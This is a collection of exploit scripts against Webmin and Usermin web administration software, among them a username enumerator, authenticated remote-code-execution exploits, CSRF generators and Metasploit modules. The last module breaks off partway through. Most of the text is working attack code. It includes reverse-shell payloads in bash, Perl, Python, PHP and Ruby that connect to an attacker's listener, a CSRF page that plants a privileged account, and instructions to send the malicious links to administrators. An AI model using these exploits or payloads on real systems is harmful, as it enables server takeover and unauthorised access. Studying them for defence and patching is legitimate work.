#!/usr/bin/python3
# -*- coding: utf-8 -*-
# Usermin - Username Enumeration (Version 2.100)
# Usage: UserEnumUsermin.py -u HOST -w WORDLIST_USERS
# Example: UserEnumUsermin.py -u https://127.0.0.1:20000 -w users.txt
import requests
import json
import requests
import argparse
import sys
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help = "use -u with the url to the host of usermin, EX: \"-u https://127.0.0.1:20000\"")
parser.add_argument("-w", "--wordlist_users", help = "use -w with the username wordlist, EX: \"-w users.txt\"")
args = parser.parse_args()
if len(sys.argv) != 5:
print("Please provide the -u for URL and -w for the wordlist containing the usernames")
print("EX: python3 UsernameEnum.py -u https://127.0.0.1:20000 -w users.txt")
exit()
usernameFile = open(args.wordlist_users, 'r')
dataUsername = usernameFile.read()
usernameFileIntoList = dataUsername.split("\n")
usernameFile.close()
for i in usernameFileIntoList:
newHeaders = {'Content-type': 'application/x-www-form-urlencoded', 'Referer': '%s/password_change.cgi' % args.url}
params = {'user':i, 'pam':'', 'expired':'2', 'old':'fakePassword', 'new1':'password', 'new2':'password'}
response = requests.post('%s/password_change.cgi' % args.url, data=params, verify=False, headers=newHeaders)
if "Failed to change password: The current password is incorrect." in response.text:
print("Possible user found with username: " + i)
if "Failed to change password: Your login name was not found in the password file!" not in response.text and "Failed to change password: The current password is incorrect." not in response.text:
print("Application is most likely not vulnerable and are therefore quitting.")
exit() # comment out line 33-35 if you would still like to try username enumeration.
# Exploit Title: Webmin 1.996 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-07-25
# Exploit Author: Emir Polat
# Technical analysis: https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165
# Vendor Homepage: https://www.webmin.com/
# Software Link: https://www.webmin.com/download.html
# Version: < 1.997
# Tested On: Version 1.996 - Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)
# CVE: CVE-2022-36446
import argparse
import requests
from bs4 import BeautifulSoup
def login(args):
global session
global sysUser
session = requests.Session()
loginUrl = f"{args.target}:10000/session_login.cgi"
infoUrl = f"{args.target}:10000/sysinfo.cgi"
username = args.username
password = args.password
data = {'user': username, 'pass': password}
login = session.post(loginUrl, verify=False, data=data, cookies={'testing': '1'})
sysInfo = session.post(infoUrl, verify=False, cookies={'sid' : session.cookies['sid']})
bs = BeautifulSoup(sysInfo.text, 'html.parser')
sysUser = [item["data-user"] for item in bs.find_all() if "data-user" in item.attrs]
if sysUser:
return True
else:
return False
def exploit(args):
payload = f"""
1337;$(python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{args.listenip}",{args.listenport}));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")');
"""
updateUrl = f"{args.target}:10000/package-updates"
exploitUrl = f"{args.target}:10000/package-updates/update.cgi"
exploitData = {'mode' : 'new', 'search' : 'ssh', 'redir' : '', 'redirdesc' : '', 'u' : payload, 'confirm' : 'Install+Now'}
if login(args):
print("[+] Successfully Logged In !")
print(f"[+] Session Cookie => sid={session.cookies['sid']}")
print(f"[+] User Found => {sysUser[0]}")
res = session.get(updateUrl)
bs = BeautifulSoup(res.text, 'html.parser')
updateAccess = [item["data-module"] for item in bs.find_all() if "data-module" in item.attrs]
if updateAccess[0] == "package-updates":
print(f"[+] User '{sysUser[0]}' has permission to access <<Software Package Updates>>")
print(f"[+] Exploit starting ... ")
print(f"[+] Shell will spawn to {args.listenip} via port {args.listenport}")
session.headers.update({'Referer' : f'{args.target}:10000/package-updates/update.cgi?xnavigation=1'})
session.post(exploitUrl, data=exploitData)
else:
print(f"[-] User '{sysUser[0]}' unfortunately hasn't permission to access <<Software Package Updates>>")
else:
print("[-] Login Failed !")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="Webmin < 1.997 - Remote Code Execution (Authenticated)")
parser.add_argument('-t', '--target', help='Target URL, Ex: https://webmin.localhost', required=True)
parser.add_argument('-u', '--username', help='Username For Login', required=True)
parser.add_argument('-p', '--password', help='Password For Login', required=True)
parser.add_argument('-l', '--listenip', help='Listening address required to receive reverse shell', required=True)
parser.add_argument('-lp','--listenport', help='Listening port required to receive reverse shell', required=True)
parser.add_argument("-s", '--ssl', help="Use if server support SSL.", required=False)
args = parser.parse_args()
exploit(args)
# Exploit Title: Webmin 1.984 - Remote Code Execution (Authenticated)
# Date: 2022-03-06
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://www.webmin.com/
# Software Link: https://github.com/webmin/webmin/archive/refs/tags/1.984.zip
# Version: <= 1.984
# Tested on: Ubuntu 18
# Reference: https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell
#!/usr/bin/python3
"""
Coded by: @faisalfs10x
GitHub: https://github.com/faisalfs10x
Reference: https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/
"""
import requests
import urllib3
import argparse
import os
import time
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TGREEN = '\033[32m'
TRED = '\033[31m'
TCYAN = '\033[36m'
TSHELL = '\033[32;1m'
ENDC = '\033[m'
class Exploit(object):
def __init__(self, target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname):
self.target = target
self.username = username
self.password = password
self.py3http_server = py3http_server
self.pyhttp_port = pyhttp_port
self.upload_path = upload_path
self.callback_ip = callback_ip
self.callback_port = callback_port
self.fname = fname
#self.proxies = proxies
self.s = requests.Session()
def gen_payload(self):
payload = ('''perl -e 'use Socket;$i="''' + self.callback_ip + '''";$p=''' + self.callback_port + ''';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' ''')
print(TCYAN + f"\n[+] Generating payload to {self.fname} in current directory", ENDC)
f = open(f"{self.fname}", "w")
f.write(payload)
f.close()
def login(self):
login_url = self.target + "/session_login.cgi"
cookies = { "redirect": "1", "testing": "1", "PHPSESSID": "" }
data = { 'user' : self.username, 'pass' : self.password }
try:
r = self.s.post(login_url, data=data, cookies=cookies, verify=False, allow_redirects=True, timeout=10)
success_message = 'System hostname'
if success_message in r.text:
print(TGREEN + "[+] Login Successful", ENDC)
else:
print(TRED +"[-] Login Failed", ENDC)
exit()
except requests.Timeout as e:
print(TRED + f"[-] Target: {self.target} is not responding, Connection timed out", ENDC)
exit()
def pyhttp_server(self):
print(f'[+] Attempt to host http.server on {self.pyhttp_port}\n')
os.system(f'(setsid $(which python3) -m http.server {self.pyhttp_port} 0>&1 & ) ') # add 2>/dev/null for clean up
print('[+] Sleep 3 second to ensure http server is up!')
time.sleep(3) # Sleep for 3 seconds to ensure http server is up!
def download_remote_url(self):
download_url = self.target + "/extensions/file-manager/http_download.cgi?module=filemin"
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Referer": self.target + "/filemin/?xnavigation=1"
}
data = {
'link': "http://" + self.py3http_server + "/" + self.fname,
'username': '',
'password': '',
'path': self.upload_path
}
r = self.s.post(download_url, data=data, headers=headers, verify=False, allow_redirects=True)
print(f"\n[+] Fetching {self.fname} from http.server {self.py3http_server}")
def modify_permission(self):
modify_perm_url = self.target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"
headers = { "Referer": self.target + "/filemin/?xnavigation=1" }
data = { "name": self.fname, "perms": "0755", "applyto": "1", "path": self.upload_path }
r = self.s.post(modify_perm_url, data=data, headers=headers, verify=False, allow_redirects=True)
print(f"[+] Modifying permission of {self.fname} to 0755")
def exec_revshell(self):
url = self.target + '/' + self.fname
try:
r = self.s.get(url, verify=False, allow_redirects=True, timeout=3)
except requests.Timeout as e: # check target whether make response in 3s, then it indicates shell has been spawned!
print(TGREEN + f"\n[+] Success: shell spawned to {self.callback_ip} via port {self.callback_port} - XD", ENDC)
print("[+] Shell location: " + url)
else:
print(TRED + f"\n[-] Please setup listener first and try again with: nc -lvp {self.callback_port}", ENDC)
def do_cleanup(self):
print(TCYAN + '\n[+] Cleaning up ')
print(f'[+] Killing: http.server on port {self.pyhttp_port}')
os.system(f'kill -9 $(lsof -t -i:{self.pyhttp_port})')
exit()
def run(self):
self.gen_payload()
self.login()
self.pyhttp_server()
self.download_remote_url()
self.modify_permission()
self.exec_revshell()
self.do_cleanup()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Webmin CVE-2022-0824 Reverse Shell')
parser.add_argument('-t', '--target', type=str, required=True, help=' Target full URL, https://www.webmin.local:10000')
parser.add_argument('-c', '--credential', type=str, required=True, help=' Format, user:user123')
parser.add_argument('-LS', '--py3http_server', type=str, required=True, help=' Http server for serving payload, ex 192.168.8.120:8080')
parser.add_argument('-L', '--callback_ip', type=str, required=True, help=' Callback IP to receive revshell')
parser.add_argument('-P', '--callback_port', type=str, required=True, help=' Callback port to receive revshell')
parser.add_argument("-V",'--version', action='version', version='%(prog)s 1.0')
args = parser.parse_args()
target = args.target
username = args.credential.split(':')[0]
password = args.credential.split(':')[1]
py3http_server = args.py3http_server
pyhttp_port = py3http_server.split(':')[1]
callback_ip = args.callback_ip
callback_port = args.callback_port
upload_path = "/usr/share/webmin" # the default installation of Webmin Debian Package, may be in different location if installed using other method.
fname = "revshell.cgi" # CGI script name, you may change to different name
pwn = Exploit(target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname)
pwn.run()
# Exploit Title: Webmin 1.973 - 'save_user.cgi' Cross-Site Request Forgery (CSRF)
# Date: 24/04/2021
# Exploit Author: *Mesh3l_911 & Z0ldyck
# Vendor Homepage: https://www.webmin.com
# Repo Link: https://github.com/Mesh3l911/CVE-2021-31762
# Version: Webmin 1.973
# Tested on: All versions <= 1.973
# CVE : CVE-2021-31762
# POC: https://youtu.be/qCvEXwyaF5U
import time, subprocess
print('''\033[1;37m
__ __ _ ____ _ _________ _ _ _
| \/ | | | |___ \| | |___ / _ \| | | | | |
| \ / | ___ ___| |__ __) | | / / | | | | __| |_ _ ___| | __
| |\/| |/ _ \/ __| '_ \ |__ <| | / /| | | | |/ _` | | | |/ __| |/ /
| | | | __/\__ \ | | |___) | | _ _ / /_| |_| | | (_| | |_| | (__| <
|_| |_|\___||___/_| |_|____/|_| (_|_) /_____\___/|_|\__,_|\__, |\___|_|\_/
__/ |
|___/
\033[1;m''')
for i in range(101):
print(
"\r\033[1;36m [>] POC By \033[1;m \033[1;37mMesh3l\033[1;m \033[1;36m ( \033[1;m\033[1;37m@Mesh3l_911\033[1;m\033[1;36m ) & \033[1;m \033[1;37mZ0ldyck\033[1;m\033[1;36m ( \033[1;m\033[1;37m@electronicbots\033[1;m\033[1;36m ) \033[1;m {} \033[1;m".format(
i), "\033[1;36m%\033[1;m", end="")
time.sleep(0.02)
print("\n\n")
target = input(
"\033[1;36m \nPlease input ur target's webmin path e.g. ( https://webmin.Mesh3l-Mohammed.com/ ) > \033[1;m")
if target.endswith('/'):
target = target + 'acl/save_user.cgi'
else:
target = target + '/acl/save_user.cgi'
def CSRF_Generator():
with open('CSRF_POC.html', 'w') as POC:
POC.write \
('''
<html>
<head>
<meta name="referrer" content="never">
</head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="'''+target+'''" method="POST">
<input type="hidden" name="safe" value="" />
<input type="hidden" name="name" value="Mesh3l_Z0ldyck" />
<input type="hidden" name="pass_def" value="0" />
<input type="hidden" name="pass" value="Mesh3l_Z0ldyck123" />
<input type="hidden" name="real" value="Mesh3l_Z0ldyck" />
<input type="hidden" name="cert_def" value="1" />
<input type="hidden" name="lang_def" value="1" />
<input type="hidden" name="lang" value="af" />
<input type="hidden" name="notabs" value="0" />
<input type="hidden" name="theme_def" value="1" />
<input type="hidden" name="theme" value="" />
<input type="hidden" name="overlay_def" value="1" />
<input type="hidden" name="overlay" value="overlay-theme" />
<input type="hidden" name="logouttime_def" value="1" />
<input type="hidden" name="minsize_def" value="1" />
<input type="hidden" name="ipmode" value="0" />
<input type="hidden" name="ips" value="" />
<input type="hidden" name="days_def" value="1" />
<input type="hidden" name="hours_def" value="1" />
<input type="hidden" name="hours_hfrom" value="" />
<input type="hidden" name="hours_mfrom" value="" />
<input type="hidden" name="hours_hto" value="" />
<input type="hidden" name="hours_mto" value="" />
<input type="hidden" name="mod" value="backup-config" />
<input type="hidden" name="mod" value="change-user" />
<input type="hidden" name="mod" value="webmincron" />
<input type="hidden" name="mod" value="usermin" />
<input type="hidden" name="mod" value="webminlog" />
<input type="hidden" name="mod" value="webmin" />
<input type="hidden" name="mod" value="help" />
<input type="hidden" name="mod" value="servers" />
<input type="hidden" name="mod" value="acl" />
<input type="hidden" name="mod" value="bacula-backup" />
<input type="hidden" name="mod" value="init" />
<input type="hidden" name="mod" value="passwd" />
<input type="hidden" name="mod" value="quota" />
<input type="hidden" name="mod" value="mount" />
<input type="hidden" name="mod" value="fsdump" />
<input type="hidden" name="mod" value="ldap-client" />
<input type="hidden" name="mod" value="ldap-useradmin" />
<input type="hidden" name="mod" value="logrotate" />
<input type="hidden" name="mod" value="mailcap" />
<input type="hidden" name="mod" value="mon" />
<input type="hidden" name="mod" value="pam" />
<input type="hidden" name="mod" value="certmgr" />
<input type="hidden" name="mod" value="proc" />
<input type="hidden" name="mod" value="at" />
<input type="hidden" name="mod" value="cron" />
<input type="hidden" name="mod" value="sentry" />
<input type="hidden" name="mod" value="man" />
<input type="hidden" name="mod" value="syslog" />
<input type="hidden" name="mod" value="syslog-ng" />
<input type="hidden" name="mod" value="system-status" />
<input type="hidden" name="mod" value="useradmin" />
<input type="hidden" name="mod" value="apache" />
<input type="hidden" name="mod" value="bind8" />
<input type="hidden" name="mod" value="pserver" />
<input type="hidden" name="mod" value="dhcpd" />
<input type="hidden" name="mod" value="dhcp-dns" />
<input type="hidden" name="mod" value="dovecot" />
<input type="hidden" name="mod" value="exim" />
<input type="hidden" name="mod" value="fetchmail" />
<input type="hidden" name="mod" value="foobar" />
<input type="hidden" name="mod" value="frox" />
<input type="hidden" name="mod" value="jabber" />
<input type="hidden" name="mod" value="ldap-server" />
<input type="hidden" name="mod" value="majordomo" />
<input type="hidden" name="mod" value="htpasswd-file" />
<input type="hidden" name="mod" value="minecraft" />
<input type="hidden" name="mod" value="mysql" />
<input type="hidden" name="mod" value="openslp" />
<input type="hidden" name="mod" value="postfix" />
<input type="hidden" name="mod" value="postgresql" />
<input type="hidden" name="mod" value="proftpd" />
<input type="hidden" name="mod" value="procmail" />
<input type="hidden" name="mod" value="qmailadmin" />
<input type="hidden" name="mod" value="mailboxes" />
<input type="hidden" name="mod" value="sshd" />
<input type="hidden" name="mod" value="samba" />
<input type="hidden" name="mod" value="sendmail" />
<input type="hidden" name="mod" value="spam" />
<input type="hidden" name="mod" value="squid" />
<input type="hidden" name="mod" value="sarg" />
<input type="hidden" name="mod" value="wuftpd" />
<input type="hidden" name="mod" value="webalizer" />
<input type="hidden" name="mod" value="link" />
<input type="hidden" name="mod" value="adsl-client" />
<input type="hidden" name="mod" value="bandwidth" />
<input type="hidden" name="mod" value="fail2ban" />
<input type="hidden" name="mod" value="firewalld" />
<input type="hidden" name="mod" value="ipsec" />
<input type="hidden" name="mod" value="krb5" />
<input type="hidden" name="mod" value="firewall" />
<input type="hidden" name="mod" value="firewall6" />
<input type="hidden" name="mod" value="exports" />
<input type="hidden" name="mod" value="exports-nfs4" />
<input type="hidden" name="mod" value="xinetd" />
<input type="hidden" name="mod" value="inetd" />
<input type="hidden" name="mod" value="pap" />
<input type="hidden" name="mod" value="ppp-client" />
<input type="hidden" name="mod" value="pptp-client" />
<input type="hidden" name="mod" value="pptp-server" />
<input type="hidden" name="mod" value="stunnel" />
<input type="hidden" name="mod" value="shorewall" />
<input type="hidden" name="mod" value="shorewall6" />
<input type="hidden" name="mod" value="itsecur-firewall" />
<input type="hidden" name="mod" value="tcpwrappers" />
<input type="hidden" name="mod" value="idmapd" />
<input type="hidden" name="mod" value="filter" />
<input type="hidden" name="mod" value="burner" />
<input type="hidden" name="mod" value="grub" />
<input type="hidden" name="mod" value="lilo" />
<input type="hidden" name="mod" value="raid" />
<input type="hidden" name="mod" value="lvm" />
<input type="hidden" name="mod" value="fdisk" />
<input type="hidden" name="mod" value="lpadmin" />
<input type="hidden" name="mod" value="smart-status" />
<input type="hidden" name="mod" value="time" />
<input type="hidden" name="mod" value="vgetty" />
<input type="hidden" name="mod" value="iscsi-client" />
<input type="hidden" name="mod" value="iscsi-server" />
<input type="hidden" name="mod" value="iscsi-tgtd" />
<input type="hidden" name="mod" value="iscsi-target" />
<input type="hidden" name="mod" value="cluster-passwd" />
<input type="hidden" name="mod" value="cluster-copy" />
<input type="hidden" name="mod" value="cluster-cron" />
<input type="hidden" name="mod" value="cluster-shell" />
<input type="hidden" name="mod" value="cluster-shutdown" />
<input type="hidden" name="mod" value="cluster-usermin" />
<input type="hidden" name="mod" value="cluster-useradmin" />
<input type="hidden" name="mod" value="cluster-webmin" />
<input type="hidden" name="mod" value="cfengine" />
<input type="hidden" name="mod" value="heartbeat" />
<input type="hidden" name="mod" value="shell" />
<input type="hidden" name="mod" value="custom" />
<input type="hidden" name="mod" value="disk-usage" />
<input type="hidden" name="mod" value="export-test" />
<input type="hidden" name="mod" value="ftelnet" />
<input type="hidden" name="mod" value="filemin" />
<input type="hidden" name="mod" value="flashterm" />
<input type="hidden" name="mod" value="tunnel" />
<input type="hidden" name="mod" value="file" />
<input type="hidden" name="mod" value="phpini" />
<input type="hidden" name="mod" value="cpan" />
<input type="hidden" name="mod" value="htaccess-htpasswd" />
<input type="hidden" name="mod" value="telnet" />
<input type="hidden" name="mod" value="ssh" />
<input type="hidden" name="mod" value="ssh2" />
<input type="hidden" name="mod" value="shellinabox" />
<input type="hidden" name="mod" value="status" />
<input type="hidden" name="mod" value="ajaxterm" />
<input type="hidden" name="mod" value="updown" />
<input type="hidden" name="mod" value="vnc" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
''')
POC.close()
print(
"\033[1;36m\nThe CSRF_POC has been generated successfully , send it to a Webmin's Admin and ur privileged user creds would be \n\nUsername: \033[1;m\033[1;37mMesh3l_Z0ldyck\033[1;m\n\033[1;36mPassword:\033[1;m \033[1;37mMesh3l_Z0ldyck123\n\033[1;m\n\n\033[1;36mHappy Hunting ^_^ \n\033[1;m")
def main():
CSRF_Generator()
if __name__ == '__main__':
main()
# Exploit Title: Webmin 1.973 - 'run.cgi' Cross-Site Request Forgery (CSRF)
# Date: 24/04/2021
# Exploit Author: Mesh3l_911 & Z0ldyck
# Vendor Homepage: https://www.webmin.com
# Repo Link: https://github.com/Mesh3l911/CVE-2021-31761
# Version: Webmin 1.973
# Tested on: All versions <= 1.973
# CVE: CVE-2021-31761
# Description: Exploiting a Reflected Cross-Site Scripting (XSS) attack to
# get a Remote Command Execution (RCE) through the Webmin's running process
# feature
import time, subprocess,random,urllib.parse
print('''\033[1;37m
__ __ _ ____ _ _________ _ _ _
| \/ | | | |___ \| | |___ / _ \| | | | | |
| \ / | ___ ___| |__ __) | | / / | | | | __| |_ _ ___| | __
| |\/| |/ _ \/ __| '_ \ |__ <| | / /| | | | |/ _` | | | |/ __| |/ /
| | | | __/\__ \ | | |___) | | _ _ / /_| |_| | | (_| | |_| | (__| <
|_| |_|\___||___/_| |_|____/|_| (_|_) /_____\___/|_|\__,_|\__, |\___|_|\_/
__/ |
|___/
\033[1;m''')
for i in range(101):
print(
"\r\033[1;36m [>] POC By \033[1;m \033[1;37mMesh3l\033[1;m \033[1;36m ( \033[1;m\033[1;37m@Mesh3l_911\033[1;m\033[1;36m ) & \033[1;m \033[1;37mZ0ldyck\033[1;m\033[1;36m ( \033[1;m\033[1;37m@electronicbots\033[1;m\033[1;36m ) \033[1;m {} \033[1;m".format(
i), "\033[1;36m%\033[1;m", end="")
time.sleep(0.02)
print("\n\n")
target = input(
"\033[1;36m \n Please input ur target's webmin path e.g. ( https://webmin.Mesh3l-Mohammed.com/ ) > \033[1;m")
if target.endswith('/'):
target = target + 'tunnel/link.cgi/'
else:
target = target + '/tunnel/link.cgi/'
ip = input("\033[1;36m \n Please input ur IP to set up the Reverse Shell e.g. ( 10.10.10.10 ) > \033[1;m")
port = input("\033[1;36m \n Please input a Port to set up the Reverse Shell e.g. ( 1337 ) > \033[1;m")
ReverseShell = input \
('''\033[1;37m
\n
1- Bash Reverse Shell \n
2- PHP Reverse Shell \n
3- Python Reverse Shell \n
4- Perl Reverse Shell \n
5- Ruby Reverse Shell \n
\033[1;m
\033[1;36mPlease insert the number Reverse Shell's type u want e.g. ( 1 ) > \033[1;m''')
file_name = random.randrange(1000)
if ReverseShell == '1':
ReverseShell = 'mkfifo /tmp/'+str(file_name)+'; nc '+ip+' '+port+' 0</tmp/'+str(file_name)+' | /bin/sh >/tmp/'+str(file_name)+' 2>&1; rm /tmp/'+str(file_name)+''
elif ReverseShell == '2':
ReverseShell = ''' php -r '$sock=fsockopen("''' + ip + '''",''' + port + ''');exec("/bin/sh -i <&3 >&3 2>&3");' '''
elif ReverseShell == '3':
ReverseShell = ''' python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("''' + ip + '''",''' + port + '''));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' '''
elif ReverseShell == '4':
ReverseShell = ''' perl -e 'use Socket;$i="''' + ip + '''";$p=''' + port + ''';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' '''
elif ReverseShell == '5':
ReverseShell = ''' ruby -rsocket -e'f=TCPSocket.open("''' + ip + '''",''' + port + ''').to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' '''
else:
print("\033[1;36m \n Please Re-Check ur input :( \033[1;m \n")
def CSRF_Generator():
Payload = urllib.parse.quote('''
<html>
<head>
<meta name="referrer" content="never">
</head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="/proc/run.cgi" method="POST">
<input type="hidden" name="cmd" value="''' + ReverseShell + '''" />
<input type="hidden" name="mode" value="0" />
<input type="hidden" name="user" value="root" />
<input type="hidden" name="input" value="" />
<input type="hidden" name="undefined" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
''')
print("\033[1;36m\nHere's ur link , send it to a Webmin's Admin and wait for ur Reverse Shell ^_^ \n \n\033[1;m")
print(target+Payload)
def Netcat_listener():
print()
subprocess.run(["nc", "-nlvp "+port+""])
def main():
CSRF_Generator()
Netcat_listener()
if __name__ == '__main__':
main()
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin 1.962 - Package Update Escape Bypass RCE (Metasploit)',
'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Webmin
1.962 and lower versions. Any user authorized to the "Package Updates"
module can execute arbitrary commands with root privileges.
It emerged by circumventing the measure taken for CVE-2019-12840.
s/\\(-)|\\(.)/string/g; escape is not enough for prevention.
Therefore, since the package name variable is placed directly in the system command,
we can manipulate it using some escape characters that HTTP supports.
For example, we can escape control by dropping the command line down one line.
We can do this with "%0A" and "%0C" urlencoded row values.Also, for paylad to work correctly,
we must add double an ampersand(&&) to the end of the payload (%26%26)
),
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>' # Vulnerability Discovery, MSF PoC module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', 'CVE-2020-35606'],
['URL', 'https://www.pentest.com.tr/exploits/Webmin-1962-PU-Escape-Bypass-Remote-Command-Execution.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => false,
'PAYLOAD' => 'cmd/unix/reverse_perl'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.962', {}]],
'DisclosureDate' => '2020-12-21',
'DefaultTarget' => 0)
)
register_options [
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password']),
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
]
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
def login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'session_login.cgi'),
'cookie' => 'testing=1', # it must be used for "Error - No cookies"
'vars_post' => {
'page' => '',
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD']
}
})
if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
return $1
end
return nil unless res
''
end
def check
cookie = login
return CheckCode::Detected if cookie == ''
return CheckCode::Unknown if cookie.nil?
vprint_status('Attempting to execute...')
# check version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "sysinfo.cgi"),
'cookie' => "sid=#{cookie}",
'vars_get' => { "xnavigation" => "1" }
})
if res && res.code == 302 && res.body
version = res.body.split("Webmin 1.")[1]
return CheckCode::Detected if version.nil?
version = version.split(" ")[0]
if version <= "962"
# check package update priv
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "package-updates/"),
'cookie' => "sid=#{cookie}"
})
if res && res.code == 200 && res.body =~ /Software Package Update/
print_status("NICE! #{datastore['USERNAME']} has the right to >>Package Update<<")
return CheckCode::Vulnerable
end
end
end
print_error("#{datastore['USERNAME']} doesn't have the right to >>Package Update<<")
print_status("Please try with another user account!")
CheckCode::Safe
end
def exploit
cookie = login
if cookie == '' || cookie.nil?
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
end
print_good("Session cookie: #{cookie}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),
'headers' => { 'Referer' => "#{peer}/sysinfo.cgi?xnavigation=1" },
'cookie' => "sid=#{cookie}"
)
unless res && res.code == 200
fail_with(Failure::Unknown, 'Request failed')
end
print_status("Attempting to execute the payload...")
run_update(cookie)
end
def run_update(cookie)
@b64p = Rex::Text.encode_base64(payload.encoded)
perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"'
payload = Rex::Text.uri_encode(perl_payload)
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "sid=#{cookie}",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'package-updates', 'update.cgi'),
'headers' =>
{
'Referer' => "#{peer}/package-updates/?xnavigation=1"
},
# new vector // bypass to backslash %0A%7C{}%26%26
'data' => "redir=%2E%2E%2Fsquid%2F&redirdesc=Squid%20Proxy%20Server&mode=new&u=squid34%0A%7C#{payload}%26%26"
# for CVE-2019-12840 #'data' => "u=acl%2Fapt&u=%20%7C%20#{payload}&ok_top=Update+Selected+Packages"
})
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin 1.920 Unauthenticated RCE',
'Description' => %q{
This module exploits a backdoor in Webmin versions 1.890 through 1.920.
Only the SourceForge downloads were backdoored, but they are listed as
official downloads on the project's site.
Unknown attacker(s) inserted Perl qx statements into the build server's
source code on two separate occasions: once in April 2018, introducing
the backdoor in the 1.890 release, and in July 2018, reintroducing the
backdoor in releases 1.900 through 1.920.
Only version 1.890 is exploitable in the default install. Later affected
versions require the expired password changing feature to be enabled.
},
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-'],
['URL', 'https://www.pentest.com.tr']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => false,
'PAYLOAD' => 'cmd/unix/reverse_python'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.910', {}]],
'DisclosureDate' => 'May 16 2019',
'DefaultTarget' => 0)
)
register_options [
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
]
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
##
# Target and input verification
##
def check
# check passwd change priv
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "password_change.cgi"),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1"
})
if res && res.code == 200 && res.body =~ /Failed/
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
